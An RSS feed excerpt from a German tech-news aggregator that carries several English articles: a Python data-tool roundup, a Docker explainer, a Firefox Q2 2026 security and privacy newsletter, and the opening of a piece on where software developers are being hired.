<p class="wp-block-paragraph">Aside from PostgreSQL, ConnectorX also supports reading from MySQL/MariaDB, SQLite, Amazon Redshift, Microsoft SQL Server and Azure SQL, and Oracle. The results can be funneled into a <a href="https://www.infoworld.com/article/2264264/how-to-use-pandas-for-data-analysis-in-python.html">Pandas</a> or PyArrow DataFrame, or into Modin or Dask (via Pandas), or Polars (via PyArrow). General support for reading from ODBC is a work in progress.</p>



<h2 class="wp-block-heading">DuckDB</h2>



<p class="wp-block-paragraph">Data science folks who use Python ought to be aware of <a href="https://www.infoworld.com/article/2337363/why-you-should-use-sqlite-3.html">SQLite</a>—a small, but powerful and speedy relational database packaged with Python. Since it runs as an in-process library, rather than a separate application, SQLite is lightweight and responsive.</p>



<p class="wp-block-paragraph"><a href="https://duckdb.org/">DuckDB</a> is a little like someone answered the question, “<a href="https://www.infoworld.com/article/2336981/duckdb-the-tiny-but-powerful-analytics-database.html">What if we made SQLite for OLAP?</a>” Like other <a href="https://www.infoworld.com/article/2334471/what-is-olap-analytical-databases.html">OLAP</a> database engines, it uses a columnar datastore and is optimized for long-running analytical query workloads. But DuckDB gives you all the things you expect from a conventional database, like ACID transactions. And there’s no separate software suite to configure; you can get it running in a Python environment with a single <code>pip install duckdb</code> command.</p>



<p class="wp-block-paragraph">DuckDB can directly ingest data in CSV, <a href="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html">JSON</a>, or <a href="https://www.infoworld.com/article/2336762/exploring-the-apache-ecosystem-for-data-analysis.html">Parquet</a> format, as well as <a href="https://duckdb.org/docs/stable/data/data_sources">a slew of other common data sources</a>. The resulting databases can also be partitioned into multiple physical files for efficiency, based on keys (e.g., by year and month). Querying works like any other <a href="https://www.infoworld.com/article/2255395/what-is-sql-the-lingua-franca-of-data-analysis.html">SQL</a>-powered relational database, but with additional built-in features like the ability to take random samples of data or construct window functions.</p>



<p class="wp-block-paragraph">DuckDB also has a small but useful collection of extensions, including full-text search, <a href="https://duckdb.org/docs/stable/core_extensions/vss">accelerated vector similarity search</a>, Excel import/export, direct connections to SQLite and PostgreSQL, Parquet file export, and support for many common geospatial data formats and types.</p>



<h2 class="wp-block-heading">Optimus</h2>



<p class="wp-block-paragraph">One of the least enviable jobs you can be stuck with is cleaning and preparing data for use in a DataFrame-centric project. <a href="https://github.com/hi-primus/optimus">Optimus</a> is an all-in-one tool set for loading, exploring, cleansing, and writing data back out to a variety of data sources.</p>



<p class="wp-block-paragraph">Optimus can use <a href="https://www.infoworld.com/article/2264264/how-to-use-pandas-for-data-analysis-in-python.html">Pandas</a>, Dask, CUDF (and Dask + CUDF), Vaex, or <a href="https://www.infoworld.com/article/2259224/what-is-apache-spark-the-big-data-platform-that-crushed-hadoop.html">Spark</a> as its underlying data engine. Data can be loaded in from and saved back out to Arrow, Parquet, Excel, a variety of common database sources, or flat-file formats like CSV and JSON.</p>



<p class="wp-block-paragraph">The data manipulation API resembles Pandas, but adds <code>.rows()</code> and <code>.cols()</code> accessors to make it easy to do things like sort a DataFrame, filter by column values, alter data according to criteria, or narrow the range of operations based on some criteria. Optimus also comes bundled with processors for handling common real-world data types like email addresses and URLs.</p>



<p class="wp-block-paragraph">One possible issue with Optimus is that it’s still under active development but its last official release was in 2020. This means it might not be as current as other components in your stack.</p>



<h2 class="wp-block-heading">Polars</h2>



<p class="wp-block-paragraph">If you spend much time working with DataFrames and you’re frustrated by the performance limits of <a href="https://www.infoworld.com/article/2264264/how-to-use-pandas-for-data-analysis-in-python.html">Pandas</a>, reach for <a href="https://github.com/pola-rs/polars">Polars</a>. This DataFrame library for Python offers a convenient syntax similar to Pandas.</p>



<p class="wp-block-paragraph">Unlike Pandas, though, Polars uses a library written in <a href="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html">Rust</a> that takes maximum advantage of your hardware out of the box. You don’t need to use special syntax to take advantage of performance-enhancing features like parallel processing or SIMD; it’s all automatic. Even simple operations like reading from a CSV file are faster. Rust developers can <a href="https://github.com/pola-rs/pyo3-polars">craft their own Polars extensions using pyo3</a>.</p>



<p class="wp-block-paragraph">Polars provides eager and lazy execution modes, so queries can be executed immediately or deferred until needed. It also provides a streaming API for processing queries incrementally. Streaming isn’t available yet for many functions, although Polars can always fall back to the in-memory engine for such operations if need be. You can also <a href="https://docs.pola.rs/api/python/stable/reference/lazyframe/api/polars.LazyFrame.show_graph.html">plot execution graphs for queries</a>, streaming or otherwise, if you want to get an idea of what memory or CPU consumption is like for the query (via the external Graphviz library).</p>



<h2 class="wp-block-heading">DVC</h2>



<p class="wp-block-paragraph">A major and pervasive issue with data science experiments is <a href="https://www.infoworld.com/article/2260350/version-control-track-the-who-what-and-when-of-software-changes.html">version control</a>—not of the project’s code, but its data. <a href="https://github.com/iterative/dvc">DVC</a>, short for Data Version Control, lets you attach version descriptors to datasets, check them into Git as you would the rest of your code, and keep versions of data and code consistent together.</p>



<p class="wp-block-paragraph">DVC can track most any kind of dataset as long as they can be expressed as a file, whether kept in local storage or in a <a href="https://dvc.org/doc/user-guide/data-management/remote-storage#supported-storage-types">remote storage service</a> like an Amazon S3 bucket. You can describe how data models are managed and used by way of a “<a href="https://dvc.org/doc/user-guide/data-management/remote-storage#supported-storage-types">pipeline</a>,” which DVC’s documentation describes as being like “a Makefile system for machine learning projects.”</p>



<p class="wp-block-paragraph">The use cases for DVC are intended to be more than just allowing data to be versioned alongside code. It also works as a fast data cache for remotely hosted data, a methodology for tracking experiments conducted with data, and a registry or catalog for <a href="https://www.infoworld.com/article/2254843/what-is-machine-learning-intelligence-derived-from-data.html">machine learning models</a> created with the data. <a href="https://www.infoworld.com/article/2254808/get-started-with-visual-studio-code.html">Visual Studio Code</a> users can integrate DVC workflows into the editor by way of the <a href="https://marketplace.visualstudio.com/items?itemName=Iterative.dvc">DVC VS Code extension</a>.</p>



<h2 class="wp-block-heading">Cleanlab</h2>



<p class="wp-block-paragraph">Good machine learning datasets are hard to come by, because it’s expensive and time-consuming to create clean, properly labeled data. Sometimes, though, you have no choice but to use data that’s raw and inconsistent. <a href="https://github.com/cleanlab/cleanlab">Cleanlab</a> (as in, “cleans labels”) was made for this scenario.</p>



<p class="wp-block-paragraph">Cleanlab uses existing, high-quality machine learning datasets to analyze lower-quality, unlabeled (or poorly labeled) datasets. You create a model based on the original dataset, use Cleanlab to figure out what needs to be improved in the original dataset, then re-train using your automatically cleaned and adjusted dataset to see the difference.</p>



<p class="wp-block-paragraph">Cleanlab is data-model and data-framework agnostic, a powerful aspect of its design. It doesn’t matter if you’re running <a href="https://www.infoworld.com/article/2335194/what-is-pytorch-python-machine-learning-on-gpus.html">PyTorch</a>, OpenAI, scikit-learn, or <a href="https://www.infoworld.com/article/2255099/what-is-tensorflow-the-machine-learning-library-explained.html">Tensorflow</a>; Cleanlab can work with any classifier. It does, however, have specific workflows for common tasks like token classification, multi-labeling, regression, image segmentation and object detection, outlier detection, and so on. It’s worth perusing the <a href="https://github.com/cleanlab/examples">example set</a> to see for yourself how the process works and what results you can expect.</p>



<h2 class="wp-block-heading">Snakemake</h2>



<p class="wp-block-paragraph">Data science workflows are hard to set up, and that’s even harder to do in a consistent, predictable way. <a href="https://github.com/snakemake/snakemake">Snakemake</a> was created to automate the process, setting up data analysis workflows in ways that ensure everyone gets the same results. Many existing data science projects rely on Snakemake. The more moving parts you have in your data science workflow, the more likely you’ll benefit from automating that workflow with Snakemake.</p>



<p class="wp-block-paragraph">Snakemake workflows resemble GNU Make workflows—you define the steps of the workflow with rules, which specify what they take in, what they put out, and what commands to execute to accomplish that. Workflow rules can be multithreaded (assuming that gives them any benefit), and configuration data can be piped in from <a href="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html">JSON</a> or <a href="https://www.infoworld.com/article/2336307/7-yaml-gotchas-to-avoidand-how-to-avoid-them.html">YAML</a> files. You can also define functions in your workflows to transform data used in rules, and write the actions taken at each step to logs.</p>



<p class="wp-block-paragraph">Snakemake jobs are designed to be portable—they can be deployed on any <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes-managed environment</a>, or in specific cloud environments like Google Cloud Life Sciences or Tibanna on AWS. Workflows can be “frozen” to use a specific set of packages, and successfully executed workflows can have unit tests automatically generated and stored with them. And for long-term archiving, you can store the workflow as a tarball.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What is Docker? The spark for the container revolution]]></title>
<description><![CDATA[Docker is a software platform for building applications based on containers—small and lightweight execution environments that make shared use of the operating system kernel but otherwise run in isolation from one another. While containers have been used in Linux and Unix systems for some time, Do...]]></description>
<link>https://tsecurity.de/de/3665663/ai-nachrichten/what-is-docker-the-spark-for-the-container-revolution/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665663/ai-nachrichten/what-is-docker-the-spark-for-the-container-revolution/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:23 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Docker is a software platform for building applications based on <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">containers</a>—small and lightweight execution environments that make shared use of the operating system kernel but otherwise run in isolation from one another. While containers have been used in Linux and Unix systems for some time, Docker, an open source project launched in 2013, helped popularize the technology by making it easier than ever for developers to package their software to “build once and run anywhere.”</p>



<h2 class="wp-block-heading">A brief history of Docker</h2>



<p class="wp-block-paragraph">Founded as DotCloud in 2008 by Solomon Hykes in Paris, what we now know as Docker started out as a <a href="https://www.infoworld.com/article/2256066/what-is-paas-platform-as-a-service-a-simpler-way-to-build-software-applications.html">platform as a service (PaaS)</a> before <a href="https://www.docker.com/blog/dotcloud-is-becoming-docker-inc/">pivoting in 2013</a> to focus on democratizing the underlying software containers its platform was running on.</p>



<p class="wp-block-paragraph"><a href="https://www.youtube.com/watch?v=362sHaO5eGU">Hykes first demoed Docker</a> at PyCon in March 2013, explaining that Docker was created because developers kept asking for the underlying technology powering the DotCloud platform. “We did always think it would be cool to be able to say, ‘Yes, here is our low-level piece. Now you can do Linux containers with us and go do whatever you want, go build your platform.’ So that’s what we are doing.”</p>



<p class="wp-block-paragraph">And so, Docker was born, with the open source project quickly picking up traction with developers and attracting the attention of high-profile technology providers like Microsoft, IBM, and Red Hat, as well as venture capitalists willing to pump millions of dollars into the innovative startup. The container revolution had begun.</p>



<h2 class="wp-block-heading">What are containers?</h2>



<p class="wp-block-paragraph">As Hykes described it in his PyCon talk, containers are “self-contained units of software you can deliver from a server over there to a server over there, from your laptop to EC2 to a bare-metal giant server, and it will run in the same way because it is isolated at the process level and has its own file system.”</p>



<p class="wp-block-paragraph">The components for doing this have long existed in operating systems like Linux. By simplifying their use and giving these bits a common interface, Docker quickly became close to a de facto industry standard for containers. Docker let developers deploy, replicate, move, and back up a workload in a single, streamlined way, using a set of reusable images to make workloads more portable and flexible than previously possible.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Why you should use Docker and OCI containers</a>.</strong></p>



<p class="wp-block-paragraph">In the virtual machine (VM) world, something similar could be achieved by keeping applications separate while running on the same hardware. But each VM requires its own operating system, meaning VMs are typically large, slow to start up, difficult to move around, and cumbersome to maintain and upgrade.</p>



<p class="wp-block-paragraph">Containers represent a defined shift from the VM era, in that they isolate execution environments while sharing the underlying OS kernel. As a result, they are speedier and far more lightweight than VMs.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image large"><a class="zoom" href="https://legacy-us-images.foundryco.app/images/article/2017/06/virtualmachines-vs-containers-100727624-orig.jpg" rel="nofollow"><img width="400px" loading="lazy" src="https://legacy-us-images.foundryco.app/images/article/2017/06/virtualmachines-vs-containers-100727624-large.jpg" alt="virtualmachines vs containers"></a><figcaption class="wp-element-caption">
<p>Stacking up the virtualization and container infrastructure stacks.</p>
</figcaption></figure></div>



<h2 class="wp-block-heading">Docker: The component parts</h2>



<p class="wp-block-paragraph">Docker took off with software developers as a novel way to package the tools required to build and launch a container. It was more streamlined and simplified than anything previously possible. Broken down into its component parts, Docker consists of the following:</p>



<ul class="wp-block-list">
<li><strong>Dockerfile</strong>: Each Docker container starts with a Dockerfile. This text file provides a set of instructions to build a Docker image, including the operating system, languages, environmental variables, file locations, network ports, and any other components it needs to run. Provide someone with a Dockerfile and they can recreate the Docker image wherever they please, although the build process takes time and system resources.</li>



<li><strong>Docker image</strong>: Like a snapshot in the VM world, a Docker image is a portable, read-only executable file. It contains the instructions for creating a container and the specifications for which software components to run and how the container will run them. Docker images are far larger than Dockerfiles but require no build step: They can boot and run as-is.</li>



<li><strong>Docker run utility</strong>: Docker’s run utility is the command that launches a container. Each container is an instance of an image, and multiple instances of the same image can be run simultaneously.</li>



<li><strong>Docker Hub</strong>: Docker Hub is a repository where container images can be stored, shared, and managed. Think of it as Docker’s own version of GitHub, but specifically for containers.</li>



<li><strong>Docker Engine</strong>: Docker Engine is the core of Docker. It is the underlying client-server technology that creates and runs the containers. The Docker Engine includes a long-running daemon process called dockerd for managing containers, APIs that allow programs to communicate with the Docker daemon, and a command-line interface.</li>



<li><strong>Docker Compose</strong>: Docker Compose is a command-line tool that uses YAML files to define and run multicontainer Docker applications. It allows you to create, start, stop, and rebuild all the services from your configuration and view the status and log output of all running services.</li>



<li><strong>Docker Desktop</strong>: All of these component parts are wrapped in Docker’s Desktop application, providing a user-friendly way to build and share containerized applications and <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices</a>.</li>
</ul>



<h2 class="wp-block-heading">Advantages of Docker</h2>



<p class="wp-block-paragraph">Docker containers provide a way to build applications that are easier to assemble, maintain, and move around than previous methods allowed. That provides several advantages to software developers:</p>



<ul class="wp-block-list">
<li><strong>Docker containers are minimalistic and enable portability</strong>: Docker helps to keep applications and their environments clean and minimal by isolating them, which allows for more granular control and greater portability.</li>



<li><strong>Docker containers enable composability</strong>: Containers make it easier for developers to compose the building blocks of an application into a modular unit with easily interchangeable parts, which can speed up development cycles, feature releases, and bug fixes.</li>



<li><strong>Docker containers make orchestration and scaling easier</strong>: Because containers are lightweight, developers can launch many of them for better scaling of services, and each container instance launches many times faster than a VM. These clusters of containers do then need to be orchestrated, which is where a platform like <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a> typically comes in.</li>
</ul>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3529526/how-to-succeed-with-kubernetes.html">How to succeed with Kubernetes</a>.</strong></p>



<h2 class="wp-block-heading">Drawbacks of Docker</h2>



<p class="wp-block-paragraph">Containers solve a great many problems, but they don’t solve them all. Common complaints about Docker include the following:</p>



<ul class="wp-block-list">
<li><strong>Docker containers are not virtual machines</strong>: Unlike virtual machines, containers use controlled portions of the host operating system’s resources, which means elements aren’t as strictly isolated as they would be on a VM.</li>



<li><strong>Docker containers don’t provide bare-metal speed</strong>: Containers are significantly more lightweight and closer to the metal than virtual machines, but they do incur some performance overhead. If your workload requires bare-metal speed, a container will get you close but not all the way there.</li>



<li><strong>Docker containers are stateless and immutable</strong>: Containers boot and run from an image that describes their contents. That image is immutable by default—once created, it doesn’t change. But a container <em>instance</em> is transient. Once removed from system memory, it’s gone forever. If you want your containers to persist state across sessions, like a virtual machine, you need to design for that persistence.</li>
</ul>



<h2 class="wp-block-heading">Docker today</h2>



<p class="wp-block-paragraph">Container usage has continued to grow in tandem with <a href="https://www.infoworld.com/article/2255318/what-is-cloud-native-the-modern-way-to-develop-software.html">cloud-native development</a>, now the dominant model for building and running software. But these days, Docker is only a part of that puzzle.</p>



<p class="wp-block-paragraph">Docker grew popular because it made it easy to move the code for an application and its dependencies from the developer’s laptop to a server. But the rise of containers led to a shift in the way applications were built—from monolithic stacks to <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">networks of microservices</a>. Soon, many users needed a way to orchestrate and manage groups of containers at scale.</p>



<p class="wp-block-paragraph">Launched at Google, the <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a> open source project quickly emerged as the best way to orchestrate containers, superseding Docker’s own attempts to solve this problem with <a href="https://boxboat.com/2019/12/10/migrate-docker-swarm-to-kubernetes/">Docker Swarm (RIP)</a>. Amidst increasing funding trouble, Docker eventually sold its enterprise business to Mirantis in 2019, which has since absorbed Docker Enterprise into the Mirantis Kubernetes Engine.</p>



<p class="wp-block-paragraph">The remains of Docker—which includes the original open source Docker Engine container runtime, Docker Hub image repository, and Docker Desktop application—live on under the leadership of company veteran Scott Johnston, who is looking to reorient the business around its core customer base of software developers.</p>



<p class="wp-block-paragraph">The Docker Business subscription service, and the revised Docker Desktop product, both reflect those new goals: Docker Business offers tools for managing and rapidly deploying secure Docker instances, and Docker Desktop requires paid usage for organizations with more than $10 million in annual revenue and 250 or more employees. But there’s also the Docker Personal subscription tier, for individuals and companies that fall below those thresholds, so end users still have access to many of Docker’s offerings.</p>



<p class="wp-block-paragraph">Docker has other offerings suited to the changing times. <a href="https://docs.docker.com/dhi/">Docker Hardened Images</a>, available in both free and enterprise tiers, provide application images with smaller attack surfaces and checked software components for better security. And, in step with the <a href="https://www.infoworld.com/artificial-intelligence/">AI revolution</a>, the <a href="https://docs.docker.com/ai/mcp-catalog-and-toolkit/">Docker MCP Catalog and Toolkit</a> provide Dockerized versions of tools that give AI applications broader functionality (such as by allowing access to the file system), making it easier to deploy AI apps with less risk to the surrounding environment.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Application Security Team: Firefox Security & Privacy Newsletter 2026 Q2]]></title>
<description><![CDATA[Welcome to the Q2 2026 edition of the Firefox Security & Privacy Newsletter.

Security and privacy are core principles of Mozilla’s Manifesto and remain at the heart of Firefox’s development. In this edition, we highlight some of the key security and privacy initiatives from Q2 2026, grouped into...]]></description>
<link>https://tsecurity.de/de/3665507/tools/firefox-application-security-team-firefox-security-privacy-newsletter-2026-q2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665507/tools/firefox-application-security-team-firefox-security-privacy-newsletter-2026-q2/</guid>
<pubDate>Mon, 13 Jul 2026 16:10:17 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Welcome to the Q2 2026 edition of the Firefox Security &amp; Privacy Newsletter.</p>

<p>Security and privacy are core principles of <a href="https://www.mozilla.org/en-US/about/manifesto/">Mozilla’s Manifesto</a> and remain at the heart of Firefox’s development. In this edition, we highlight some of the key security and privacy initiatives from Q2 2026, grouped into the following areas:</p>

<ul>
  <li><strong>Firefox Product Security &amp; Privacy</strong>, new security and privacy features, protections, and integrations in Firefox</li>
  <li><strong>Core Security</strong>, platform security improvements, hardening efforts, and foundational enhancements</li>
  <li><strong>Community Engagement</strong>, highlights from our security research community and bug bounty program</li>
  <li><strong>Web Security &amp; Standards</strong>, progress on web technologies and standards that help websites better protect users from online threats</li>
</ul>

<h3>Preface</h3>

<p>Note: Some of the bugs linked below might not be accessible to the general public and restricted to specific work groups. <a href="https://firefox-source-docs.mozilla.org/bug-mgmt/processes/fixing-security-bugs.html#keeping-private-information-private">We de-restrict fixed security bugs after a grace-period</a>, until the majority of our user population have received Firefox updates. If a link does not work for you, please accept this as a precaution for the safety of all Firefox users.</p>

<h3>Firefox Product Security &amp; Privacy</h3>

<p><strong>Private Access Control Tokens (PACT):</strong> PACT is a cross-industry initiative designed to tackle one of the web’s most urgent challenges: enabling websites to reliably distinguish legitimate users and authorized automated agents from abusive traffic without compromising user privacy. To introduce the initiative, we published a <a href="https://hacks.mozilla.org/2026/06/pact-anonymous-credentials-for-the-web/">technical deep dive on Mozilla Hacks</a> alongside a <a href="https://blog.mozilla.org/en/privacy-security/keeping-the-web-open-and-private-in-the-bot-era/">companion Mozilla blog post</a> that explains the vision, motivation, and privacy-preserving design behind PACT.</p>

<p><strong>Qualified Website Authentication Certificates (QWACs):</strong> Firefox is prepared to meet upcoming eIDAS requirements under the <a href="https://eidas.ec.europa.eu/efda/home">EU Digital Identity Framework.</a> <a href="https://eidas.ec.europa.eu/efda/discover/qwac">Qualified Website Authentication Certificates (QWACs), as required by the framework, are supported</a> in Firefox 153 (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2043399">Bug 2043399</a>) onwards.</p>

<p><strong>Hardening Firefox with Claude Mythos:</strong> In a <a href="https://hacks.mozilla.org/2026/05/behind-the-scenes-hardening-firefox/">blogpost</a> we shared how our AI-assisted security testing pipeline, powered by Claude Mythos, uncovered and helped remediate hundreds of previously hidden vulnerabilities in Firefox, significantly strengthening the browser’s security while demonstrating the transformative potential of AI to enhance defensive cybersecurity.</p>

<p><strong>Visual Indications for Geolocation Access:</strong> In light of some web pages using geolocation for activities that are not related to their maps functionality, Firefox now displays <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038194">a real-time visual indicator</a> whenever a web page is accessing the user’s geolocation. Starting with Firefox 153, the address bar now provides a <a href="https://bug2038194.bmoattachments.org/attachment.cgi?id=9586032">real-time visual indicator</a> the moment a website begins accessing a user’s location, providing users with  immediate awareness and greater transparency into when and how their geolocation data is being used.</p>

<p><strong>Improving Website Compatibility in Private Browsing:</strong> Starting with Firefox 152, Private Browsing Mode now offers users the option to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1994405">temporarily lower tracking protections</a> for the current tab when stricter tracker blocking could be causing a website to malfunction.  Previously, this may have resulted in users turning off privacy protections completely to continue using visited web page. With our new feature, users can quickly restore site functionality of the current tab, preserving users’ overall privacy settings.</p>

<p><strong>Instant fresh start through new <a href="https://support.mozilla.org/en-US/kb/private-browsing-use-firefox-without-history">Fire Button</a>:</strong> Firefox 151 introduced the new Fire Button for Private Browsing, giving users an instant fresh start with a single click. Instead of closing and reopening a Private Window, users can <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1846495">immediately clear all browsing data and continue browsing in a clean session</a>, making Private Browsing faster, more convenient, and just as private.</p>

<p><strong>Advanced Anti-Fingerprinting Protections:</strong> Firefox 151 expands our default anti-fingerprinting defenses by ensuring the Available Screen Resolution, Touch Points, and Canvas APIs will provide uniform results for all of our users while also maintaining performance and compatibility. On macOS, for example, these enhancements are expected to reduce the share of users identified as unique by more than 20%, making it significantly harder for websites to uniquely identify and track users using obscure fingerprinting.</p>

<p><strong>Local Network Access Protections:</strong> Firefox now requires user permission before websites can access apps and services on a user’s local network or device, helping prevent unauthorized access and sneaky tracking attempts. The <a href="https://support.mozilla.org/en-US/kb/control-personal-device-local-network-permissions-firefox">LNA</a> feature is rolling out gradually, starting with Firefox Desktop 151 through 153. Android support will follow in upcoming releases.</p>

<h3>Core Security</h3>

<p><strong>Firefox CA Root Program:</strong> We published <a href="https://blog.mozilla.org/security/2026/06/29/improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v3-1/">Root Store Policy v3.1</a>, introducing stricter transparency, documentation, and audit requirements for public CAs to strengthen trust in the Web PKI.</p>

<p><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2010193"><strong>WebAuthn Related Origin Requests</strong></a><strong>:</strong> This feature allows seamless passkey sign-ins across related domains e.g., the same provider using multiple top-level domains. In contrast to other browsers, Firefox UI provides transparency and choice so users are aware and can control when websites request for passkeys from other, related sites.</p>

<h3>Community Engagement</h3>

<p><strong>Hosting Events:</strong> We organized and hosted multiple <a href="https://www.meetup.com/de-DE/berlin-mozilla-meetup/">web tech meet-ups in the Mozilla Berlin office</a>, bringing together the developer community to explore the latest advances in web technology, privacy, and security. If you’re in the area, we’d love to have you join us at a future event.</p>

<p><strong>Community Shares:</strong>  Firefox tracking protection was presented at the <a href="https://www.reddit.com/r/SnooSec/comments/1te55fx/thanks_for_joining_us_at_snoosec_nyc/">SnooSec conference held in the Reddit NYC office</a>. We also had a presentation about existing and upcoming protections against web tracking at the <a href="https://chemnitzer.linux-tage.de/2026/en">Chemnitz Linux Days</a> conference, and a talk about the latest browser-based XSS protections at <a href="https://owasp.glueup.com/event/owasp-global-appsec-eu-2026-vienna-austria-162243/">OWASP AppSec ‘26</a> in Vienna.</p>

<h3>Web Security &amp; Standards</h3>

<p><strong>Web Application Integrity, Consistency and Transparency (WAICT):</strong> We are working on WAICT, a new proposal to bring stronger integrity and transparency guarantees to web applications, helping make the web a more trustworthy platform for security-sensitive applications such as end-to-end encrypted messaging. We shared our technical vision in a <a href="https://hacks.mozilla.org/2026/05/trustworthy-javascript-for-the-open-web/">Mozilla Hacks blog post</a>, including a prototype implementation in Firefox Nightly that works with our <a href="https://demo.waict.dev/">WAICT Demo</a> and a <a href="https://github.com/waict-wg">draft specification</a>.</p>

<p><strong>Sanitizer API:</strong> We are advancing the Sanitizer API to make robust protection against cross-site scripting (XSS) vulnerabilities more accessible. By exploring an <a href="https://github.com/mozilla/explainers/blob/main/trusted-or-sanitized-html.md">implicit sanitizer policy</a> that integrates with Trusted Types, we aim to prevent an entire class of XSS attacks with no application code changes, making secure-by-default web applications easier to build and deploy.</p>

<h3>Looking Ahead</h3>

<p>Firefox users will receive these security and privacy improvements automatically. If you’re not already a user, <a href="https://firefox.com/">we recommend you give it a try</a>. Firefox helps you shape a more personal internet that puts you back in control - all while supporting the non-profit Mozilla in its mission to keep the web open, safe, and accessible for everyone.</p>

<p>Thank you to everyone who contributes to making Firefox and the web more secure and privacy-focused. You can have an impact too, just by <a href="https://bugzilla.mozilla.org/enter_bug.cgi">reporting bugs</a>, conducting research, contributing code, or providing feedback.</p>

<p>We look forward to sharing more updates in the Q3 2026 edition.</p>

<p><em>— The Firefox Security &amp; Privacy Teams</em></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Where the software development jobs are now]]></title>
<description><![CDATA[While many technology companies have slowed hiring or even launched significant layoffs, that doesn’t mean job opportunities have dried up for software developers. In fact, skilled developers—particularly those with knowledge of AI—are in demand in other industries.



The key to success for deve...]]></description>
<link>https://tsecurity.de/de/3664782/ai-nachrichten/where-the-software-development-jobs-are-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664782/ai-nachrichten/where-the-software-development-jobs-are-now/</guid>
<pubDate>Mon, 13 Jul 2026 11:33:25 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>While many technology companies have slowed hiring or even launched <a href="https://www.trueup.io/layoffs" data-type="link" data-id="https://www.trueup.io/layoffs">significant layoffs</a>, that doesn’t mean job opportunities have dried up for software developers. In fact, skilled developers—particularly those with <a href="https://www.infoworld.com/article/4025073/9-ai-development-skills-tech-companies-want.html" data-type="link" data-id="https://www.infoworld.com/article/4025073/9-ai-development-skills-tech-companies-want.html">knowledge of AI</a>—are in demand in other industries.</p>



<p>The key to success for developers looking to snatch up these roles is to be well-prepared to meet the needs of potential employers in a variety of sectors.</p>



<p>“The demand for developers in non-tech sectors is real and growing, but the roles look different from what you’d find at a software company,” says <a href="https://drexel.edu/cci/about/directory/A/Awasthi-Pragati/" data-type="link" data-id="https://drexel.edu/cci/about/directory/A/Awasthi-Pragati/">Pragati Awasthi</a>, assistant teaching professor of AI and data science at Drexel University.</p>



<p>“Across all these sectors, the common thread is that software is no longer a support function; it is embedded in core operations,” Awasthi says. “The developer in these environments is often the person translating domain-specific business problems into technical solutions, which requires a different profile than a pure product engineer at a tech firm.”</p>



<h2 class="wp-block-heading">Opportunity knocks</h2>



<p>The tech industry has long been a mainstay as far as employing software developers. But as these businesses trim staffs in efforts to cut expenses, that has impacted the hiring landscape. Even as the tech sector scales back, however, companies in industries such as financial services/fintech, healthcare/healthtech, retail/ecommerce, and manufacturing are looking to acquire programming talent.</p>



<p>“The unifying factor is data complexity,” Awasthi says. “These industries generate large volumes of sensitive, regulated, or operationally critical data, and they need developers who can build and maintain systems that handle it responsibly.”</p>



<p>While recruiting firm Summit Search Group has placed developers in roles with technology companies, “it is just as common to recruit them for roles outside this niche,” says <a href="https://www.linkedin.com/in/matterhard/" data-type="link" data-id="https://www.linkedin.com/in/matterhard/">Matt Erhard</a>, managing partner at the company. “There are actually a fairly wide variety of roles available for developers in industries beyond tech,” Erhard says.</p>



<p>For example, in financial services Summit Search Group has seen significant hiring for back-end and data engineers who can build and maintain fraud detection systems, digital banking platforms, and regulatory tools, Erhard says. In healthcare, companies are hiring developers to build AI-driven diagnostics platforms and patient portals, or to work with systems that manage electronic health records, he says.</p>



<p>In manufacturing and industrial companies, developers are needed for systems integration and embedded software related to predictive maintenance, <a href="https://www.networkworld.com/article/963923/what-is-iot-the-internet-of-things-explained.html" data-type="link" data-id="https://www.networkworld.com/article/963923/what-is-iot-the-internet-of-things-explained.html">Internet of Things</a> (IoT) systems, and smart factories. And in retail and ecommerce, there’s strong demand for <a href="https://www.infoworld.com/article/2259033/full-stack-developer-what-it-is-and-how-you-can-become-one.html" data-type="link" data-id="https://www.infoworld.com/article/2259033/full-stack-developer-what-it-is-and-how-you-can-become-one.html">full-stack developers</a> and data developers who can handle logistics systems, omni-channel platforms, and personalization engines, Erhard says.</p>



